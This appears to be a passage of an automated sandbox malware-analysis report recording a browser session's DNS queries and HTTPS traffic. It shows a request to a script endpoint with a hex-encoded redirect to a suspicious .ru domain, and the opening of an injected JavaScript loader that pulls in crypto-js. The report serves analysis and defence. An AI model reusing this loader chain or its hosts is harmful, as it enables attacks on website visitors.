Feb 19, 2025 20:43:19.498692989 CET	53	53892	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:20.220462084 CET	58256	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:20.220643997 CET	50058	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:20.227771044 CET	53	58256	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:20.227942944 CET	53	50058	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:20.337467909 CET	58414	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:20.338032961 CET	63216	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:20.352622986 CET	53	58414	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:20.427226067 CET	53	63216	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:21.938759089 CET	65108	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:21.942483902 CET	62085	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:21.945986986 CET	53	65108	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:21.949728966 CET	53	62085	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:21.955895901 CET	65452	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:21.956041098 CET	60417	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:21.956717014 CET	54347	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:21.956916094 CET	62534	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:21.963181019 CET	53	65452	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:21.963277102 CET	53	60417	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:21.963963032 CET	53	54347	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:21.963993073 CET	53	62534	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:22.731585979 CET	49849	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:22.731719017 CET	63392	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:22.738755941 CET	53	63392	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:22.738883972 CET	53	49849	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:23.210932970 CET	50712	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:23.211071014 CET	55201	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:23.218648911 CET	53	55201	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:23.218766928 CET	53	50712	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:23.291872025 CET	51563	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:23.292151928 CET	65483	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:23.299235106 CET	53	65483	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:23.299401045 CET	53	51563	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:23.361170053 CET	53236	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:23.361314058 CET	54827	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:23.369206905 CET	53	53236	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:23.375480890 CET	53	54827	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:24.151226044 CET	65289	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:24.151364088 CET	52536	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:24.159796000 CET	53	65289	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:24.165046930 CET	53	52536	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:32.479568005 CET	50914	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:32.479907036 CET	51486	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:32.495208979 CET	53	50914	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:32.534627914 CET	53	51486	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:34.618617058 CET	49208	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:34.618753910 CET	65487	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:34.625669956 CET	53	60190	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:34.633188009 CET	53	65487	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:34.668047905 CET	53	49208	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:36.479696035 CET	53	54205	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:44.431206942 CET	53	50694	162.159.36.2	192.168.2.16
Feb 19, 2025 20:43:44.902234077 CET	64563	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:44.912699938 CET	53	64563	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:45.924062014 CET	54871	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:45.933968067 CET	53	54871	1.1.1.1	192.168.2.16
Feb 19, 2025 20:44:22.616314888 CET	138	138	192.168.2.16	192.168.2.255
Feb 19, 2025 20:44:23.263417959 CET	53490	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:44:23.271131039 CET	53	53490	1.1.1.1	192.168.2.16
Feb 19, 2025 20:44:37.895051003 CET	62180	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:44:37.902446032 CET	53	62180	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Feb 19, 2025 20:43:19.487958908 CET	192.168.2.16	1.1.1.1	c238	(Port unreachable)	Destination Unreachable
Feb 19, 2025 20:43:20.427297115 CET	192.168.2.16	1.1.1.1	c287	(Port unreachable)	Destination Unreachable
Feb 19, 2025 20:43:32.534712076 CET	192.168.2.16	1.1.1.1	c288	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 19, 2025 20:43:18.546482086 CET	192.168.2.16	1.1.1.1	0x9005	Standard query (0)	ohhellopreston.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:18.546715021 CET	192.168.2.16	1.1.1.1	0x4fd7	Standard query (0)	ohhellopreston.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:19.451219082 CET	192.168.2.16	1.1.1.1	0x790d	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:19.451359987 CET	192.168.2.16	1.1.1.1	0xa76b	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:19.467092991 CET	192.168.2.16	1.1.1.1	0xe672	Standard query (0)	ohhellopreston.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:19.467240095 CET	192.168.2.16	1.1.1.1	0xa400	Standard query (0)	ohhellopreston.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:20.220462084 CET	192.168.2.16	1.1.1.1	0xa7d3	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:20.220643997 CET	192.168.2.16	1.1.1.1	0x790f	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:20.337467909 CET	192.168.2.16	1.1.1.1	0x32	Standard query (0)	xq.intranchmar.ru	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:20.338032961 CET	192.168.2.16	1.1.1.1	0x5c0	Standard query (0)	xq.intranchmar.ru	65	IN (0x0001)	false
Feb 19, 2025 20:43:21.938759089 CET	192.168.2.16	1.1.1.1	0xa35a	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:21.942483902 CET	192.168.2.16	1.1.1.1	0x4555	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:21.955895901 CET	192.168.2.16	1.1.1.1	0x8aa2	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:21.956041098 CET	192.168.2.16	1.1.1.1	0xa45b	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:21.956717014 CET	192.168.2.16	1.1.1.1	0xc455	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:21.956916094 CET	192.168.2.16	1.1.1.1	0x4ce3	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:22.731585979 CET	192.168.2.16	1.1.1.1	0x3890	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:22.731719017 CET	192.168.2.16	1.1.1.1	0x9f76	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:23.210932970 CET	192.168.2.16	1.1.1.1	0xe3d5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.211071014 CET	192.168.2.16	1.1.1.1	0x66f7	Standard query (0)	www.google.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:23.291872025 CET	192.168.2.16	1.1.1.1	0xff4b	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.292151928 CET	192.168.2.16	1.1.1.1	0x5011	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:23.361170053 CET	192.168.2.16	1.1.1.1	0xf329	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.361314058 CET	192.168.2.16	1.1.1.1	0xb1a3	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:24.151226044 CET	192.168.2.16	1.1.1.1	0x33af	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:24.151364088 CET	192.168.2.16	1.1.1.1	0xd31e	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Feb 19, 2025 20:43:32.479568005 CET	192.168.2.16	1.1.1.1	0x21f1	Standard query (0)	gbrqqq.v-bnhatn.ru	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:32.479907036 CET	192.168.2.16	1.1.1.1	0x1ec5	Standard query (0)	gbrqqq.v-bnhatn.ru	65	IN (0x0001)	false
Feb 19, 2025 20:43:34.618617058 CET	192.168.2.16	1.1.1.1	0x3eec	Standard query (0)	gbrqqq.v-bnhatn.ru	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:34.618753910 CET	192.168.2.16	1.1.1.1	0x2109	Standard query (0)	gbrqqq.v-bnhatn.ru	65	IN (0x0001)	false
Feb 19, 2025 20:43:44.902234077 CET	192.168.2.16	1.1.1.1	0xc028	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Feb 19, 2025 20:43:45.924062014 CET	192.168.2.16	1.1.1.1	0x15a3	Standard query (0)	200.163.202.172.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Feb 19, 2025 20:44:23.263417959 CET	192.168.2.16	1.1.1.1	0x176d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:44:37.895051003 CET	192.168.2.16	1.1.1.1	0x60aa	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 19, 2025 20:43:18.557090044 CET	1.1.1.1	192.168.2.16	0x9005	No error (0)	ohhellopreston.com		103.83.194.5	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:19.458484888 CET	1.1.1.1	192.168.2.16	0xa76b	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Feb 19, 2025 20:43:19.458570004 CET	1.1.1.1	192.168.2.16	0x790d	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:19.458570004 CET	1.1.1.1	192.168.2.16	0x790d	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:19.474805117 CET	1.1.1.1	192.168.2.16	0xe672	No error (0)	ohhellopreston.com		103.83.194.5	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:20.227771044 CET	1.1.1.1	192.168.2.16	0xa7d3	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:20.227771044 CET	1.1.1.1	192.168.2.16	0xa7d3	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:20.227942944 CET	1.1.1.1	192.168.2.16	0x790f	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Feb 19, 2025 20:43:20.352622986 CET	1.1.1.1	192.168.2.16	0x32	No error (0)	xq.intranchmar.ru		104.21.25.83	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:20.352622986 CET	1.1.1.1	192.168.2.16	0x32	No error (0)	xq.intranchmar.ru		172.67.133.201	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:20.427226067 CET	1.1.1.1	192.168.2.16	0x5c0	No error (0)	xq.intranchmar.ru			65	IN (0x0001)	false
Feb 19, 2025 20:43:21.945986986 CET	1.1.1.1	192.168.2.16	0xa35a	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:21.945986986 CET	1.1.1.1	192.168.2.16	0xa35a	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:21.945986986 CET	1.1.1.1	192.168.2.16	0xa35a	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:21.945986986 CET	1.1.1.1	192.168.2.16	0xa35a	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:21.963181019 CET	1.1.1.1	192.168.2.16	0x8aa2	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:21.963181019 CET	1.1.1.1	192.168.2.16	0x8aa2	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:21.963277102 CET	1.1.1.1	192.168.2.16	0xa45b	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Feb 19, 2025 20:43:21.963963032 CET	1.1.1.1	192.168.2.16	0xc455	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:21.963963032 CET	1.1.1.1	192.168.2.16	0xc455	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:21.963993073 CET	1.1.1.1	192.168.2.16	0x4ce3	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Feb 19, 2025 20:43:22.738883972 CET	1.1.1.1	192.168.2.16	0x3890	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:22.738883972 CET	1.1.1.1	192.168.2.16	0x3890	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:22.738883972 CET	1.1.1.1	192.168.2.16	0x3890	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:22.738883972 CET	1.1.1.1	192.168.2.16	0x3890	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.218648911 CET	1.1.1.1	192.168.2.16	0x66f7	No error (0)	www.google.com			65	IN (0x0001)	false
Feb 19, 2025 20:43:23.218766928 CET	1.1.1.1	192.168.2.16	0xe3d5	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.299235106 CET	1.1.1.1	192.168.2.16	0x5011	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Feb 19, 2025 20:43:23.299401045 CET	1.1.1.1	192.168.2.16	0xff4b	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.299401045 CET	1.1.1.1	192.168.2.16	0xff4b	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.369206905 CET	1.1.1.1	192.168.2.16	0xf329	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.369206905 CET	1.1.1.1	192.168.2.16	0xf329	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.369206905 CET	1.1.1.1	192.168.2.16	0xf329	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.369206905 CET	1.1.1.1	192.168.2.16	0xf329	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.369206905 CET	1.1.1.1	192.168.2.16	0xf329	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:23.375480890 CET	1.1.1.1	192.168.2.16	0xb1a3	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Feb 19, 2025 20:43:24.159796000 CET	1.1.1.1	192.168.2.16	0x33af	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:24.159796000 CET	1.1.1.1	192.168.2.16	0x33af	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:24.159796000 CET	1.1.1.1	192.168.2.16	0x33af	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:24.159796000 CET	1.1.1.1	192.168.2.16	0x33af	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:24.159796000 CET	1.1.1.1	192.168.2.16	0x33af	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:24.165046930 CET	1.1.1.1	192.168.2.16	0xd31e	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Feb 19, 2025 20:43:32.495208979 CET	1.1.1.1	192.168.2.16	0x21f1	No error (0)	gbrqqq.v-bnhatn.ru		104.21.11.253	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:32.495208979 CET	1.1.1.1	192.168.2.16	0x21f1	No error (0)	gbrqqq.v-bnhatn.ru		172.67.150.227	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:32.534627914 CET	1.1.1.1	192.168.2.16	0x1ec5	No error (0)	gbrqqq.v-bnhatn.ru			65	IN (0x0001)	false
Feb 19, 2025 20:43:34.633188009 CET	1.1.1.1	192.168.2.16	0x2109	No error (0)	gbrqqq.v-bnhatn.ru			65	IN (0x0001)	false
Feb 19, 2025 20:43:34.668047905 CET	1.1.1.1	192.168.2.16	0x3eec	No error (0)	gbrqqq.v-bnhatn.ru		172.67.150.227	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:34.668047905 CET	1.1.1.1	192.168.2.16	0x3eec	No error (0)	gbrqqq.v-bnhatn.ru		104.21.11.253	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:43:44.912699938 CET	1.1.1.1	192.168.2.16	0xc028	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Feb 19, 2025 20:43:45.933968067 CET	1.1.1.1	192.168.2.16	0x15a3	Name error (3)	200.163.202.172.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Feb 19, 2025 20:44:23.271131039 CET	1.1.1.1	192.168.2.16	0x176d	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:44:37.902446032 CET	1.1.1.1	192.168.2.16	0x60aa	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ohhellopreston.com

cdnjs.cloudflare.com

xq.intranchmar.ru

https:

challenges.cloudflare.com

code.jquery.com

developers.cloudflare.com

gbrqqq.v-bnhatn.ru

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49701	103.83.194.5	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:43:19 UTC	655	OUT	GET /.res444.php?2-68747470733a2f2f78512e696e7472616e63686d61722e72752f614e335a4a2f-WlpvsU HTTP/1.1 Host: ohhellopreston.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-19 19:43:19 UTC	196	IN	HTTP/1.1 200 OK Date: Wed, 19 Feb 2025 19:43:19 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2025-02-19 19:43:19 UTC	1972	IN	Data Raw: 37 61 38 0d 0a 20 20 20 20 76 61 72 20 66 48 6a 4c 63 6e 56 7a 45 73 72 7a 63 55 57 58 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 66 48 6a 4c 63 6e 56 7a 45 73 72 7a 63 55 57 58 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 66 48 6a 4c 63 6e 56 7a 45 73 72 7a 63 55 57 58 29 3b 0d 0a 66 48 6a 4c 63 6e 56 7a 45 73 72 7a 63 55 57 58 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 7a8 var fHjLcnVzEsrzcUWX = document.createElement("script");fHjLcnVzEsrzcUWX.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(fHjLcnVzEsrzcUWX);fHjLcnVzEsrzcUWX.onload=function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49705	104.17.24.14	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:43:19 UTC	526	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-19 19:43:20 UTC	964	IN	HTTP/1.1 200 OK Date: Wed, 19 Feb 2025 19:43:20 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 517727 Expires: Mon, 09 Feb 2026 19:43:20 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qh6iWgscn%2FDlr9IHCSjXi%2F6%2BkBKBWeDt7QfKZgWhL75PArln9HEyMhcf%2FNl2vjv9JmYD4i%2BncdoVGSjzLW%2BvelkarPMTHgAYcR1R1uDFuruh4i6TFoWtd9ag6p3rsvCb76EhGYjT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9148bec61ddb4302-EWR alt-svc: h3=":443"; ma=86400
2025-02-19 19:43:20 UTC	405	IN	Data Raw: 37 62 65 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bed!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2025-02-19 19:43:20 UTC	1369	IN	Data Raw: 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 Data Ascii: o&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==t
2025-02-19 19:43:20 UTC	1369	IN	Data Raw: 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a Data Ascii: ar 